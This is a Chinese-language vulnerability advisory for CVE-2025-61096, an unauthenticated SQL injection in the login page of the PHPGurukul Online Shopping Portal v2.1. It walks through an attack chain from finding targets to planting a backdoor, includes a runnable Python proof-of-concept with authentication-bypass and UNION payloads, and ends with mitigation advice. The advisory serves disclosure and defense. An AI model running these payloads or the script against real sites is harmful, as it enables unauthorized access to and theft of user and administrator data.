IPBUF安全漏洞报告
English
CVE-2025-61096 CVSS 6.5 中危

CVE-2025-61096:PHPGurukul在线购物门户SQL注入漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-61096
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Online Shopping Portal Project

相关标签

SQL注入PHPGurukulOnline Shopping Portallogin.phpfullname参数中危漏洞未认证远程利用CWE-89电商系统

漏洞概述

CVE-2025-61096是PHPGurukul Online Shopping Portal Project v2.1中存在的一个SQL注入漏洞。该漏洞位于/shopping/login.php文件中的fullname参数,由于应用程序未对用户输入进行充分的过滤和参数化处理,攻击者可以通过构造恶意的SQL语句注入到数据库查询中,从而实现未经授权的数据访问和操作。该漏洞的CVSS 3.1评分为6.5,属于中危级别。攻击者无需认证即可远程利用此漏洞,且不需要用户交互。漏洞的机密性影响和完整性影响均为低级别,暗示攻击者可以读取或修改部分数据库内容,但不会导致系统完全不可用。该漏洞由安全研究人员sanin-s1r3n发现并报告,其在GitHub上公开了相关的研究资料。PHPGurukul作为一款开源的在线购物门户系统,被广泛应用于中小型电商项目中,因此该漏洞可能影响大量部署了该系统的网站。鉴于SQL注入漏洞的普遍性和危害性,建议相关用户尽快检查自身系统是否受到影响,并采取相应的修复措施以防止数据泄露和未授权访问。

技术细节

该漏洞的根因在于/shopping/login.php文件中处理fullname参数时未采用参数化查询或预编译语句,而是直接将用户输入拼接到SQL查询语句中。具体而言,当用户提交登录请求时,应用程序会将fullname参数的值直接嵌入到后端SQL查询中,攻击者可以通过在fullname参数中注入SQL片段(如单引号闭合、UNION SELECT语句或布尔盲注表达式)来操纵原始查询的逻辑。由于漏洞位于登录页面,攻击者无需任何凭证即可远程发起攻击。攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需权限(PR:N),也无需用户交互(UI:N)。利用成功后,攻击者可以执行未授权的数据库读取操作,获取用户凭证、个人信息等敏感数据;在某些情况下还可以进行数据篡改。由于该漏洞影响范围限于登录功能且作用域未发生变化(S:U),其对可用性没有直接影响。修复方案应包括使用预编译语句(Prepared Statements)对fullname参数进行参数化处理,或使用存储过程替代动态SQL拼接,同时实施输入验证和WAF防护作为纵深防御措施。

攻击链分析

STEP 1
步骤1:目标识别
攻击者通过搜索引擎或Shodan等工具识别部署了PHPGurukul Online Shopping Portal v2.1的在线购物网站。
STEP 2
步骤2:漏洞探测
攻击者访问目标网站的/shopping/login.php页面,定位到登录表单中的fullname参数,并构造布尔型或UNION型SQL注入payload进行漏洞验证。
STEP 3
步骤3:注入Payload构造
攻击者在fullname字段中输入如 admin' OR '1'='1' -- - 的恶意SQL片段,闭合原始查询的字符串并注入OR条件以绕过身份验证。
STEP 4
步骤4:数据提取
利用UNION SELECT技术,攻击者枚举数据库中的表和列,提取管理员凭证、用户个人信息、订单数据等敏感信息。
STEP 5
步骤5:权限提升与持久化
攻击者使用提取的管理员凭证登录后台管理系统,获取系统完全控制权限,并可能植入后门实现持久化访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61096 - PHPGurukul Online Shopping Portal v2.1 SQL Injection PoC # Vulnerability Location: /shopping/login.php # Vulnerable Parameter: fullname import requests TARGET_URL = "http://target.com/shopping/login.php" # Step 1: Test for SQL injection vulnerability using a simple boolean-based payload def test_sqli(target_url): # Normal request baseline normal_payload = { "fullname": "admin", "password": "test123", "login": "Login" } baseline_resp = requests.post(target_url, data=normal_payload) baseline_len = len(baseline_resp.text) # Boolean-based TRUE condition payload true_payload = { "fullname": "admin' OR '1'='1' -- -", "password": "test123", "login": "Login" } true_resp = requests.post(target_url, data=true_payload) true_len = len(true_resp.text) # Boolean-based FALSE condition payload false_payload = { "fullname": "admin' OR '1'='2' -- -", "password": "test123", "login": "Login" } false_resp = requests.post(target_url, data=false_payload) false_len = len(false_resp.text) print(f"[+] Baseline response length: {baseline_len}") print(f"[+] TRUE condition response length: {true_len}") print(f"[+] FALSE condition response length: {false_len}") if true_len != false_len: print("[!] Vulnerability confirmed: SQL injection in 'fullname' parameter") return True return False # Step 2: Extract database version using UNION-based injection def extract_db_info(target_url, columns=5): # Determine number of columns via ORDER BY technique for i in range(1, 15): payload = { "fullname": f"' ORDER BY {i} -- -", "password": "test", "login": "Login" } r = requests.post(target_url, data=payload) if "error" in r.text.lower() or r.status_code == 500: print(f"[+] Number of columns: {i - 1}") col_count = i - 1 break # UNION-based extraction of database version union_payload = { "fullname": f"' UNION SELECT {','.join(['NULL'] * col_count)} -- -", "password": "test", "login": "Login" } r = requests.post(target_url, data=union_payload) print(f"[+] UNION SELECT response: {r.text[:500]}") if __name__ == "__main__": print(f"[*] Testing CVE-2025-61096 against {TARGET_URL}") if test_sqli(TARGET_URL): extract_db_info(TARGET_URL)

影响范围

PHPGurukul Online Shopping Portal Project v2.1

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)在Web应用防火墙(WAF)中配置针对/shopping/login.php的fullname参数的SQL注入防护规则,拦截包含单引号、UNION、SELECT、OR等关键字的恶意请求;2)在应用层面对fullname参数进行严格的输入验证,仅允许字母、数字和常见特殊字符,拒绝包含SQL关键字的输入;3)将数据库连接账户权限降至最低,限制其只能访问必要的表和操作;4)监控/shopping/login.php的访问日志,对异常的登录请求进行告警和封禁;5)考虑暂时禁用/shopping/login.php页面的远程访问,或限制仅允许可信IP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表